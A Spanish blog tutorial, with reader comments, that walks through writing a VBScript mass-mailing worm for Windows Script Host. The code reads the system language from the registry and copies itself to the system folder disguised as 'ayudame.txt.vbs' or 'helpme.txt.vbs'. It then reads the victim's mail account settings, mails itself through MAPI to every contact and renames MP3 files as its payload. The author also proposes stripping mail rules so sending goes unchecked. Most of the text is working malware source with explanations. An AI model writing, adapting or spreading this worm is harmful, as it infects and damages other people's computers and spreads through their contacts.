Programando fácilmente un virus para Windows

Windows virii

Windows virii

Recientemente, la historia de los virus informáticos ha cumplido ya cuarenta años. Casi medio siglo de quebraderos de cabeza con los que los usuarios y las empresas han tenido que lidiar prácticamente a diario. Aquel viejo ideario de infecciones al estilo Creeper (1971) o el español Barrotes (1993), donde los virus representaban un arte y un reto intelectual totalmente inocuo, desencadenó en una tremenda oleada de software malicioso que robaba datos, destruía sistemas operativos y producía millones de euros en pérdidas. ¿Quién no recuerda los tiempos de Viernes 13 (1988), Melissa (1999) o LoveLetter (2000)?    

Desgraciadamente (o afortunadamente) las herramientas para elaborar cualquier pieza de software están hoy día al alcance de cualquiera. Los antiguos y complejos desarrollos en ensamblador han dado paso a lenguajes modernos de alto nivel, fáciles de aprender y rápidos de implementar.    

Los archivos de proceso por lotes de MS-DOS (ficheros de extensión .BAT) fueron aquellos grandes olvidados en la programación de virus. No obstante, los expertos en su diseño vieron en ellos una alternativa veloz y potente para desarrollar malware, y algún bicho codificado de aquella forma llegó a ver la luz, eso sí, sin gran incidencia.    

Posteriormete, y gracias al procesamiento por lotes integrado en Windows a través de su herramienta de administración Windows Scripting Host (rebautizada en su segunda versión como Windows Script Host), los desarrollos víricos se multiplicaron exponencialmente, pues la potencia de desarrollo, unida a la suave curva de aprendizaje, permitía generar virus mortíferos en horas o, incluso (dependiendo de la pericia del programador) en minutos.    

Windows Script Host (WSH) es una utilidad administrativa que se provee con todas las versiones del sistema operativo del tío Bill desde Windows 98. En principio, su utilidad se basa en la generación de archivos de lotes, sin embargo, la potencia de estos ficheros con respecto a los antiguos ficheros batch es muy superior. La fortaleza reside en dos conceptos primordiales: los lenguajes de programación que implementa y los objetos del sistema que es capaz de manejar.    

WSH permite utilizar en la actualidad un amplio abanico de motores de script en su desarrollo, a saber: VBScript, JScript, PerlScript, ooRexx Script, Python Script, Tcl Script, Active PHP Script, Ruby Script, Object Rexx engine y Delphi scripting engine. Cualquier programador con conocimientos básicos de prácticamente cualquier lenguaje puede desarrollar un script para WSH. Asimismo, estos archivos de guión son capaces de acceder a características varias de un sistema operativo tales como, por ejemplo, variables de entorno, recursos de red compartidos, impresoras, el registro, el árbol de directorios, software instalado, Internet, archivos, etcétera. Una herramienta potente y un arma de doble filo.    

Lo que se propone aquí es una introducción al entorno WSH a través de aplicaciones en VBScript, el lenguaje de guión más sencillo e intuitivo, hermano pequeño torpe de Visual Basic. Como todo tutorial de programación que se precie, es preceptivo comenzar con una aplicación "Hola mundo", si no esto ni es tutorial ni es nada. Los archivos de script se escriben como texto plano sin formato en cualquier editor al uso (como Bloc de notas, por ejemplo). El código, con métodos del propio WSH y en formato VBScript, es el que sigue:    

WScript.Echo "Hola mundo"
WScript.Quit 

El objeto WScript proporciona el acceso a la raíz del modelo principal de objetos de WSH. No necesita ser declarado antes ser invocado, pues sus métodos y propiedades están siempre disponibles desde cualquier script. El método Echo muestra el cuadro de mensaje típico de Windows con un texto que se corresponde con la cadena alfanumérica que se le pasa como argumento ("Hola mundo"). Por último, el método Quit termina el script, forzándolo a parar su ejecución.    

¿Sencillo, verdad? Este archivo lo debemos guardar con la extensión .VBS y, para ejecutarlo, sólo es necesario un doble clic en el icono correspondiente (o una llamada desde la línea de comandos de la consola).    

Si hubiésemos deseado generar un fichero JScript, los métodos no habrían variado, pues son propios del WSH, sin embargo la sintaxis habría sido sutilmente distinta:    

WScript.Echo ("Hola mundo");
WScript.Quit (); 

Este archivo, para que funcionara correctamente, habríamos de guardarlo con extensión .JS.    

Prosiguiendo con nuestra fatídica infección vírica, vamos a avanzar un paso más. Necesitamos conocer el idioma del sistema operativo, por lo que vamos a internarnos en el registro de Windows para extraer el dato de una manera elegante:    

Dim WSc, IdiomaActual
Set WSc = CreateObject("WScript.Shell")  
Sub Idioma ()
  Dim LeerRegistro  
  LeerRegistro = WSc.RegRead ("HKEY_CURRENT_USER\Control _
    Panel\International\iCountry"
)  
  Select Case LeerRegistro
    Case 54,591,56,57,506,593,503,34,502,504,52,505,507,595,51,598,58
      IdiomaActual = 1
    Case 1,44
      IdiomaActual = -1
    Case Else
      IdiomaActual = 0
   End Select
End Sub   

Tras la declaración inicial de variables se asigna a WSc el objeto WScript.Shell, que permite acceder al registro, entre otras virtudes como ejecutar programas, crear accesos directos o procurar el acceso a los directorios del sistema. Estas dos líneas están fuera del procedimiento Sub porque necesitamos que sean declaraciones globales a todo el script (las utilizaremos después también).    

El procedimiento Sub Idioma () permite leer la clave de registro que necesitamos mediante el método RegRead de WScript.Shell y almacenarla en la variable local LeerRegistro. En función del valor que guarde iCountry, se asignará un 1, un -1 o un 0 a la variable global IdiomaActual, que después necesitaremos para cribar nuestra infección. En el caso de que IdiomaActual valga 1, el payload (efecto visible del virus) será en castellano (se corresponde con los códigos locales de todos los países sudamericanos más España); en el caso de que IdiomaActual valga 1, el payload será en inglés (Estados Unidos más Gran Bretaña); en el caso de IdiomaActual valga 0 (no se ha podido determinar el idioma), el payload será también en inglés, por si las moscas.    

Una vez obtengamos el idioma en el que está configurado el equipo que deseamos infectar, vamos a generar una copia del virus en el directorio del sistema para, desde ahí, enviarlo a los contactos de correo electrónico de la máquina víctima:    

Dim FSO, ArchivoAdjunto
Set FSO = CreateObject("Scripting.FileSystemObject"
Sub CopiaMe ()
  Dim DirectorioSistema
  Set DirectorioSistema = FSO.GetSpecialFolder (1)
  Set ArchivoAdjunto = FSO.GetFile (WScript.ScriptFullName)
  Select Case IdiomaActual
    Case 1
      ArchivoAdjunto.Copy (DirectorioSistema & "\ayudame.txt.vbs")
      ArchivoAdjunto = DirectorioSistema & "\ayudame.txt.vbs"
    Case 0,-1
      ArchivoAdjunto.Copy (DirectorioSistema & "\helpme.txt.vbs")
      ArchivoAdjunto = DirectorioSistema & "\helpme.txt.vbs"
  End Select
End Sub 

Después de crear las variables globales pertinentes, generamos el objeto FileSystemObject, de la librería de tipos (localizada en el archivo Scrrun.dll), y lo almacenamos en la variable FSO. Este objeto posibilita el acceso a la gestión de carpetas y archivos (crear, copiar, mover, eliminar…).    

Ya dentro del procedimiento Sub, asignamos a DirectorioSistema el resultado de GetSpecialFolder (1), esto es, la localización de los archivos de sistema (directorio por defecto Windows\System). Ese 1 indica carpeta de sistema; 0 sería el directorio general Windows y 2 el directorio temporal Temp.    

La propiedad ScriptFullName (sólo lectura) de WScript devuelve el nombre completo (ruta y nombre de archivo) del script actual mediante el método GetFile de FileSystemObject. Este nombre se guarda en la variable ArchivoAdjunto.    

Recurriendo a la variable global anterior IdiomaActual, copiamos (Copy) nuestro virus (ArchivoAdjunto) a la carpeta de sistema con un nombre en castellano (máquinas hispanoparlantes) o en inglés (máquinas anglosajonas).    

El proceso de ocultación de este tipo de virus es bien sencillo, así como tremendamente ineficaz en según que configuraciones. Bien es sabida la capacidad de los entornos Windows para ocultar las extensiones de tipos de archivos conocidos (activada por defecto). Así pues, el truco consiste en nombrar el fichero con una cadena terminada en, por ejemplo, .txt, seguida de la extensión de rigor para el archivo de script (.vbs). De esta manera, y sólo si la característica de ocultación de extensiones está activada, el receptor del malware visualizará únicamente el nombre del archivo (en este caso ayudame.txt o helpme.txt), creyendo que lo que le remiten es un simple archivo de texto (¿nadie mira los iconos?). La sorpresa será mayúscula al momento de ejecutarlo.    

El siguiente paso es obtener los datos de la cuenta de correo electrónico de la víctima:    

Dim ServidorSMTP, NombreCuenta, Correo 
Sub Cuenta()
  Dim LeerRegistro, NuevaClave
 WSc.RegWrite "HKEY_CURRENT_USER\Software\Microsoft _
    \Windows Script Host\Settings\Timeout"
,0,"REG_DWORD"
  LeerRegistro = WSc.RegRead ("HKEY_CURRENT_USER\Software\ _
    Microsoft\Internet Account Manager\Default Mail Account"
)
  NuevaClave = "HKEY_CURRENT_USER\Software\Microsoft _
    \Internet Account Manager\"
& "Accounts\" & LeerRegistro
  ServidorSMTP = WSc.RegRead (NuevaClave & "\SMTP Server")
  NombreCuenta = WSc.RegRead (NuevaClave & "\Account Name")
  Correo = WSc.RegRead (NuevaClave & "\SMTP Email Address")
End Sub 

Mediante un acceso al registro igual al anterior, extraemos la clave que guarda el nombre de la cuenta de correo por defecto (Mail Account) y generamos una nueva cadena con otra clave de registro más el nombre de la cuenta. De esta nueva clave leemos y almacenamos la dirección del servidor SMTP de correo saliente, el nombre de la cuenta y la dirección de correo electrónico.    

Lo ideal ahora sería actuar sobre las reglas de mensaje del software cliente de correo electrónico, eliminándolas para que permitan el envío sin cortapisas. No nos detendremos en ello por no alargar más el asunto, pero el código no sería para nada complicado, teniendo en cuenta que se encuentran definidas y almacenadas también en el registro de Windows (las de Outlook Express 5, por ejemplo, en HKEY_CURRENT_USER\Identities\XXXX\Software\Microsoft\Outlook Express\5.0\Rules\Mail).    

Una vez recabados todos los datos, vamos a enviar nuestro virus por correo electrónico:    

Sub Enviando ()
  Set MAPISession = CreateObject ("MSMAPI.mapiSession")
  Set MAPIMessage = CreateObject ("MSMAPI.mapiMessages"
  Dim i
  MAPISession.LogonUI = False
  MAPISession.DownloadMail = False
  MAPISession.SignOn 
 Set MAPIAddress = MAPISession.AddressList (0)
  For i = 1 To MAPIAddress.AddressEntries.Count
    MAPIAddress.AddressEntries (i)
    MAPIMessage.SessionId = MAPISession.SessionId
    MAPIMessage.Compose
    MAPIMessage.RecipDisplayName = "<atacante@virus.soy>"
    MAPIMessage.MsgSubject = "Asunto del mensaje"
    MAPIMessage.MsgNoteText = "Cuerpo del mensaje"
    MAPIMessage.AttachmentIndex = 0
    MAPIMessage.AttachmentPathName = ArchivoAdjunto
    MAPIMessage.AttachmentPosition = 0
    MAPIMessage.Send (0)
  Next
  MAPISession.SignOff
End Sub 

En este procedimiento Sub, simplemente nos servimos de MAPI (en castellano Interfaz de Programación de Aplicaciones de Mensajería) para enviar el correo con el archivo adjunto. Los métodos que proporciona MAPI son lo suficientemente claros y se explican por sí mismos (iniciar sesión, componer, rellenar datos, adjuntar archivos, enviar y cerrar sesión). El envío se remite a todos los contactos de la cuenta de correo en cuestión mediante un bucle que los recorre desde el primero hasta el último (MAPIAddress.AddressEntries.Count).    

Y, para finalizar, nos queda por programar el payload del virus, esto es, la acción visible (o no visible) que se ejecutará en la máquina infectada. El payload de un virus corre a cargo de la imaginación de cada uno. En función del hijoputismo con el que deseemos actuar, la acción final de un virus puede ir desde la simple molestia de mostrar un mensaje en pantalla, hasta la eliminación de archivos vitales para el usuario o para el sistema operativo (librerías .DLL, ficheros multimedia .MP3 o .AVI, documentos .DOC, .XLS o .MDB, fotografías .JPG, etcétera).    

Nosotros, por aquello de no dar ideas, nos vamos a quedar a medio camino. Nuestro payload simplemente mostrará un mensaje en pantalla y renombrará todos aquellos ficheros en formato MP3 que encuentre exclusivamente en el directorio raíz del disco duro principal. Así de sencillito:    

Sub Payload ()
  Dim Carpeta, ArchivoMP3
  WScript.Echo "Soy un virus malo malísimo." 
  Set Carpeta = FSO.GetFolder ("C:\")
  For Each ArchivoMP3 in Carpeta.Files
    If Right (ArchivoMP3.Name, 3) = LCase ("mp3") Then
      FSO.MoveFile ArchivoMP3.Path, Replace ("C:\" & _
        ArchivoMP3.Name, ".mp3", ".vir")
    End If
  Next
End Sub 

Mediante el método GetFolder de FileSystemObject, declarado anteriormente, asigno a la variable Carpeta la ruta especificada para, después, recorrer todos los archivos de esa ruta (Carpeta.Files) mediante un bucle (For Each... Next) comprobando si su extensión es la que busco (Right (ArchivoMP3.Name, 3) = LCase ("mp3")). En caso afirmativo, renombro (FSO.MoveFile) cada fichero, cambiando su extensión de .MP3 a .VIR.    

La programación de virus al alcance de cualquiera es una realidad desde hace ya muchos años. Pero otra cosa también, la policía no es tonta y conocerá al cien por cien quién ha programado un virus, cuándo lo liberó en Internet y dónde apareció por primera vez. ¿Cómo lo hacen? De eso nos ocuparemos otro día. Hack the planet!, pero poquito y con cuidadín, que hacer el mal por hacer el mal es de bobos patológicos.

4 comentarios a “Programando fácilmente un virus para Windows”

  • Montano:

    Muy interesante, solo una pequeña duda en el LeerRegistro

    Select Case LeerRegistro
    Case 54,591,56,57,506,593,503,34,502,504,52,505,507,595,51,598,58
    IdiomaActual = 1
    Case 1,44
    IdiomaActual = -1
    Case Else
    IdiomaActual = 0
    End Select

    No podría eliminarse el Case 1,44 dejando solo el Else? Si después de todo si no es Español, por defecto si o si va a ser en ingles.

  • @Montano

    Sí, efectivamente. Es redundante. Muy buena observación.

  • alguien:

    ¿Y porque los virus sólo atacan a Windows? No debe ser dificil hacer virus en Linux, sobretodo con C

  • Montano:

    @Alguien

    Un virus como este (borrar archivos privados de /home del usuario o cambiar los nombres de los archivos del /home también) es relativamente posible que funcione en Linux asumiendo que tenga política de lectura/escritura. Pero a menos que sea a través de un exploit jamas vas a poder dejar el sistema inutilizado. Ya que una cuenta normal no puede modificar los archivos del sistema, si el root (el admin).

    Si la gente se acostumbrar a usar usuarios restringidos y el administrador en windows solo para tareas de administración, muchos de esta clase de virus no servirían.

    Tal vez por algún lado estoy pifiando en mi afirmación (no soy un guru de linux precisamente), encantado de que me corrijan si así es.

Escribe tu comentario

eBook 'retroPLOF!'

retroPLOF!
Especifica tu dirección de correo electrónico y pulsa 'Comprar ahora'. Puedes pagar con tu cuenta de PayPal o con cualquier tarjeta bancaria.

E-mail envío eBook:

<script>» title=»<script>


<script>

Utilizamos cookies propias y de terceros para mejorar la experiencia de navegación. Más información.

ACEPTAR
Aviso de cookies